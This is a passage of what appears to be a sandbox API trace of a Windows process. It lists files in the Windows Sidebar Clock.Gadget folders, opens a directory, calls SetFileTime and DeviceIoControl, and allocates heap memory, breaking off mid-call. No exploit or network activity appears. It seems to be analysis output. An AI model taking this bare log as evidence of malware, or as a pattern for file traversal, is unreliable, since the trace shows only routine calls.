lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82353ae7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82353ae7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82379c44, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82379c44, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x282400f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824aa72c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824aa72c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2828c3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824f69e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824f69e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283bcea5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824121b8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824121b8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28409161, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2847b57b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2847b57b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 0 [0080.476] GetLastError () returned 0x12 [0080.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e6c8) returned 1 [0080.476] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e5c0) returned 1 [0080.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e4b8) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.477] GetLastError () returned 0x12 [0080.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.477] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="")) returned 1 [0080.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.478] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.478] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.478] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.478] NtClose (Handle=0x124) returned 0x0 [0080.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.479] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.479] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4d50 [0080.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe568 [0080.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.480] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.481] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4d70 [0080.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe5f0 [0080.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4d90 [0080.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0080.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.483] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.483] GetLastError () returned 0x12 [0080.483] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.483] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.483] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.483] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.483] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 